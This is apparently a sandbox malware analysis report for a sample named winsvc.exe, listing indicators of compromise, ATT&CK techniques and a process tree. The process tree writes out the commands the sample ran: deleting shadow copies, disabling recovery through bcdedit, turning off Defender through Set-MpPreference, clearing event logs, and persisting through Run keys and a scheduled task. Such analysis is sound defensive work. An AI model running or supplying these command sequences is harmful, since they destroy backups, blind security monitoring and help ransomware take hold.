1a556567d8344992ed230e4a4c061f7d5aafd0d733ee4ada54e08e8efe309a17

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Local\\Temp\\winsvc.exe"	winsvc.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	winsvc.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	winsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	winsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	winsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	winsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	winsvc.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3504	bcdedit.exe
5472	bcdedit.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	winsvc.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 9 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
1856	powershell.exe
6092	powershell.exe
3196	powershell.exe
2660	powershell.exe
4380	powershell.exe
5536	powershell.exe
5376	powershell.exe
5272	powershell.exe
4888	powershell.exe

Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

Disable or Modify Tools

pid	Process
396	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winsvc.exe	winsvc.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winsvc.exe	winsvc.exe

Loads dropped DLL 35 IoCs

pid	Process
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe
6024	winsvc.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsServiceHost = "C:\\Users\\Admin\\AppData\\Local\\Temp\\winsvc.exe"	winsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\WindowsServiceHost = "C:\\Users\\Admin\\AppData\\Local\\Temp\\winsvc.exe"	winsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsServiceHost = "C:\\Users\\Admin\\AppData\\Local\\Temp\\winsvc.exe"	winsvc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5376	powershell.exe
3196	powershell.exe
4380	powershell.exe
5272	powershell.exe
4888	powershell.exe
6092	powershell.exe
396	powershell.exe
4440	powershell.exe
2660	powershell.exe
5536	powershell.exe
1856	powershell.exe
2336	powershell.exe
3200	powershell.exe
3636	powershell.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\D:	vssadmin.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 14 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

Ignore Process Interrupts

T1564.011

pid	Process
396	powershell.exe
4440	powershell.exe
3636	powershell.exe
3196	powershell.exe
2660	powershell.exe
5272	powershell.exe
1856	powershell.exe
6092	powershell.exe
2336	powershell.exe
3200	powershell.exe
5376	powershell.exe
4380	powershell.exe
4888	powershell.exe
5536	powershell.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4712	vssadmin.exe
1300	vssadmin.exe
1840	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
5892	WMIC.exe
5892	WMIC.exe
5892	WMIC.exe
5892	WMIC.exe
1852	WMIC.exe
1852	WMIC.exe
1852	WMIC.exe
1852	WMIC.exe
5376	powershell.exe
5376	powershell.exe
3196	powershell.exe
3196	powershell.exe
2660	powershell.exe
2660	powershell.exe
4380	powershell.exe
4380	powershell.exe
5272	powershell.exe
5272	powershell.exe
4888	powershell.exe
4888	powershell.exe
5536	powershell.exe
5536	powershell.exe
1856	powershell.exe
1856	powershell.exe
6092	powershell.exe
6092	powershell.exe
396	powershell.exe
396	powershell.exe
4440	powershell.exe
4440	powershell.exe
2336	powershell.exe
2336	powershell.exe
3200	powershell.exe
3200	powershell.exe
3636	powershell.exe
3636	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeBackupPrivilege	3336	vssvc.exe
Token: SeRestorePrivilege	3336	vssvc.exe
Token: SeAuditPrivilege	3336	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5892	WMIC.exe
Token: SeSecurityPrivilege	5892	WMIC.exe
Token: SeTakeOwnershipPrivilege	5892	WMIC.exe
Token: SeLoadDriverPrivilege	5892	WMIC.exe
Token: SeSystemProfilePrivilege	5892	WMIC.exe
Token: SeSystemtimePrivilege	5892	WMIC.exe
Token: SeProfSingleProcessPrivilege	5892	WMIC.exe
Token: SeIncBasePriorityPrivilege	5892	WMIC.exe
Token: SeCreatePagefilePrivilege	5892	WMIC.exe
Token: SeBackupPrivilege	5892	WMIC.exe
Token: SeRestorePrivilege	5892	WMIC.exe
Token: SeShutdownPrivilege	5892	WMIC.exe
Token: SeDebugPrivilege	5892	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5892	WMIC.exe
Token: SeRemoteShutdownPrivilege	5892	WMIC.exe
Token: SeUndockPrivilege	5892	WMIC.exe
Token: SeManageVolumePrivilege	5892	WMIC.exe
Token: 33	5892	WMIC.exe
Token: 34	5892	WMIC.exe
Token: 35	5892	WMIC.exe
Token: 36	5892	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5892	WMIC.exe
Token: SeSecurityPrivilege	5892	WMIC.exe
Token: SeTakeOwnershipPrivilege	5892	WMIC.exe
Token: SeLoadDriverPrivilege	5892	WMIC.exe
Token: SeSystemProfilePrivilege	5892	WMIC.exe
Token: SeSystemtimePrivilege	5892	WMIC.exe
Token: SeProfSingleProcessPrivilege	5892	WMIC.exe
Token: SeIncBasePriorityPrivilege	5892	WMIC.exe
Token: SeCreatePagefilePrivilege	5892	WMIC.exe
Token: SeBackupPrivilege	5892	WMIC.exe
Token: SeRestorePrivilege	5892	WMIC.exe
Token: SeShutdownPrivilege	5892	WMIC.exe
Token: SeDebugPrivilege	5892	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5892	WMIC.exe
Token: SeRemoteShutdownPrivilege	5892	WMIC.exe
Token: SeUndockPrivilege	5892	WMIC.exe
Token: SeManageVolumePrivilege	5892	WMIC.exe
Token: 33	5892	WMIC.exe
Token: 34	5892	WMIC.exe
Token: 35	5892	WMIC.exe
Token: 36	5892	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1852	WMIC.exe
Token: SeSecurityPrivilege	1852	WMIC.exe
Token: SeTakeOwnershipPrivilege	1852	WMIC.exe
Token: SeLoadDriverPrivilege	1852	WMIC.exe
Token: SeSystemProfilePrivilege	1852	WMIC.exe
Token: SeSystemtimePrivilege	1852	WMIC.exe
Token: SeProfSingleProcessPrivilege	1852	WMIC.exe
Token: SeIncBasePriorityPrivilege	1852	WMIC.exe
Token: SeCreatePagefilePrivilege	1852	WMIC.exe
Token: SeBackupPrivilege	1852	WMIC.exe
Token: SeRestorePrivilege	1852	WMIC.exe
Token: SeShutdownPrivilege	1852	WMIC.exe
Token: SeDebugPrivilege	1852	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1852	WMIC.exe
Token: SeRemoteShutdownPrivilege	1852	WMIC.exe
Token: SeUndockPrivilege	1852	WMIC.exe
Token: SeManageVolumePrivilege	1852	WMIC.exe
Token: 33	1852	WMIC.exe
Token: 34	1852	WMIC.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 944 wrote to memory of 6024	944	winsvc.exe	88
PID 6024 wrote to memory of 2132	6024	winsvc.exe	89
PID 6024 wrote to memory of 2476	6024	winsvc.exe	91
PID 2476 wrote to memory of 1840	2476	cmd.exe	93
PID 6024 wrote to memory of 5316	6024	winsvc.exe	96
PID 5316 wrote to memory of 5892	5316	cmd.exe	98
PID 6024 wrote to memory of 4732	6024	winsvc.exe	100
PID 4732 wrote to memory of 4712	4732	cmd.exe	102
PID 6024 wrote to memory of 3288	6024	winsvc.exe	103
PID 3288 wrote to memory of 1300	3288	cmd.exe	105
PID 6024 wrote to memory of 2364	6024	winsvc.exe	106
PID 2364 wrote to memory of 3504	2364	cmd.exe	108
PID 6024 wrote to memory of 2044	6024	winsvc.exe	109
PID 2044 wrote to memory of 5472	2044	cmd.exe	111
PID 6024 wrote to memory of 4156	6024	winsvc.exe	112
PID 4156 wrote to memory of 1852	4156	cmd.exe	114
PID 6024 wrote to memory of 5824	6024	winsvc.exe	116
PID 5824 wrote to memory of 5376	5824	cmd.exe	118
PID 6024 wrote to memory of 2520	6024	winsvc.exe	120
PID 2520 wrote to memory of 3196	2520	cmd.exe	122
PID 6024 wrote to memory of 2744	6024	winsvc.exe	123
PID 2744 wrote to memory of 2660	2744	cmd.exe	125
PID 6024 wrote to memory of 3328	6024	winsvc.exe	126
PID 3328 wrote to memory of 4380	3328	cmd.exe	128
PID 6024 wrote to memory of 1516	6024	winsvc.exe	129
PID 1516 wrote to memory of 5272	1516	cmd.exe	131
PID 6024 wrote to memory of 3496	6024	winsvc.exe	132
PID 3496 wrote to memory of 4888	3496	cmd.exe	134
PID 6024 wrote to memory of 2384	6024	winsvc.exe	135
PID 2384 wrote to memory of 5536	2384	cmd.exe	137
PID 6024 wrote to memory of 2692	6024	winsvc.exe	138
PID 2692 wrote to memory of 1856	2692	cmd.exe	140
PID 6024 wrote to memory of 5108	6024	winsvc.exe	141
PID 5108 wrote to memory of 6092	5108	cmd.exe	143
PID 6024 wrote to memory of 1500	6024	winsvc.exe	144
PID 1500 wrote to memory of 396	1500	cmd.exe	146
PID 6024 wrote to memory of 4840	6024	winsvc.exe	147
PID 4840 wrote to memory of 4440	4840	cmd.exe	149
PID 6024 wrote to memory of 2148	6024	winsvc.exe	150
PID 2148 wrote to memory of 2336	2148	cmd.exe	152
PID 6024 wrote to memory of 2988	6024	winsvc.exe	153
PID 2988 wrote to memory of 3200	2988	cmd.exe	155
PID 6024 wrote to memory of 3760	6024	winsvc.exe	156
PID 3760 wrote to memory of 3636	3760	cmd.exe	158
PID 6024 wrote to memory of 4536	6024	winsvc.exe	159
PID 6024 wrote to memory of 3420	6024	winsvc.exe	161
PID 6024 wrote to memory of 3092	6024	winsvc.exe	163
PID 6024 wrote to memory of 5448	6024	winsvc.exe	165
PID 6024 wrote to memory of 1496	6024	winsvc.exe	167
PID 6024 wrote to memory of 1604	6024	winsvc.exe	169
PID 6024 wrote to memory of 2028	6024	winsvc.exe	171
PID 6024 wrote to memory of 4772	6024	winsvc.exe	174
PID 6024 wrote to memory of 3112	6024	winsvc.exe	176

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\winsvc.exe
"C:\Users\Admin\AppData\Local\Temp\winsvc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:944
- C:\Users\Admin\AppData\Local\Temp\winsvc.exe
  "C:\Users\Admin\AppData\Local\Temp\winsvc.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender Real-time Protection settings
  - Disables RegEdit via registry modification
  - Drops startup file
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:6024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:2132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2476
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:1840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic shadowcopy delete"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5316
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /for=C: /all /quiet"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4732
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /for=C: /all /quiet
      4⤵
      Interacts with shadow copies
      PID:4712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /for=D: /all /quiet"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3288
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /for=D: /all /quiet
      4⤵
      Enumerates connected drives
      Interacts with shadow copies
      PID:1300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {{default}} recoveryenabled no"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2364
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {{default}} recoveryenabled no
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {{default}} bootstatuspolicy ignoreallfailures"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2044
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {{default}} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic.exe /namespace:\\root\default path SystemRestore call Disable "C:\""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4156
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic.exe /namespace:\\root\default path SystemRestore call Disable "C:\"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force -ErrorAction SilentlyContinue""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force -ErrorAction SilentlyContinue"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      PID:5376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true -Force -ErrorAction SilentlyContinue""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2520
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true -Force -ErrorAction SilentlyContinue"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      PID:3196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -Force -ErrorAction SilentlyContinue""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -Force -ErrorAction SilentlyContinue"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      PID:2660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIOAVProtection $true -Force -ErrorAction SilentlyContinue""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3328
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableIOAVProtection $true -Force -ErrorAction SilentlyContinue"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      PID:4380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisablePrivacyMode $true -Force -ErrorAction SilentlyContinue""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1516
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisablePrivacyMode $true -Force -ErrorAction SilentlyContinue"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      PID:5272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -Force -ErrorAction SilentlyContinue""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3496
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -Force -ErrorAction SilentlyContinue"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      PID:4888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableArchiveScanning $true -Force -ErrorAction SilentlyContinue""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableArchiveScanning $true -Force -ErrorAction SilentlyContinue"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      PID:5536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true -Force -ErrorAction SilentlyContinue""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2692
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true -Force -ErrorAction SilentlyContinue"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      PID:1856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableScriptScanning $true -Force -ErrorAction SilentlyContinue""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableScriptScanning $true -Force -ErrorAction SilentlyContinue"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      PID:6092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -SubmitSamplesConsent 2 -Force -ErrorAction SilentlyContinue""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1500
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -SubmitSamplesConsent 2 -Force -ErrorAction SilentlyContinue"
      4⤵
      Disables automatic submission of suspicious files to Microsoft by Windows Defender
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      PID:396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -MAPSReporting 0 -Force -ErrorAction SilentlyContinue""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -MAPSReporting 0 -Force -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      PID:4440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -HighThreatDefaultAction 6 -Force -ErrorAction SilentlyContinue""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2148
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -HighThreatDefaultAction 6 -Force -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      PID:2336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -LowThreatDefaultAction 6 -Force -ErrorAction SilentlyContinue""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -LowThreatDefaultAction 6 -Force -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      PID:3200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -SevereThreatDefaultAction 6 -Force -ErrorAction SilentlyContinue""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3760
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -SevereThreatDefaultAction 6 -Force -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      PID:3636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wevtutil cl "Application""
    3⤵
    PID:4536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wevtutil cl "Security""
    3⤵
    PID:3420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wevtutil cl "System""
    3⤵
    PID:3092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wevtutil cl "Setup""
    3⤵
    PID:5448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wevtutil cl "ForwardedEvents""
    3⤵
    PID:1496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wevtutil cl "Windows PowerShell""
    3⤵
    PID:1604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wevtutil cl "Microsoft-Windows-Sysmon/Operational""
    3⤵
    PID:2028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WinSvcOptimizer" /tr "\"C:\Users\Admin\AppData\Local\Temp\winsvc.exe\"" /sc onlogon /rl highest /f"
    3⤵
    PID:4772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im explorer.exe"
    3⤵
    PID:3112

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3336

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Direct Volume Access

T1006

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry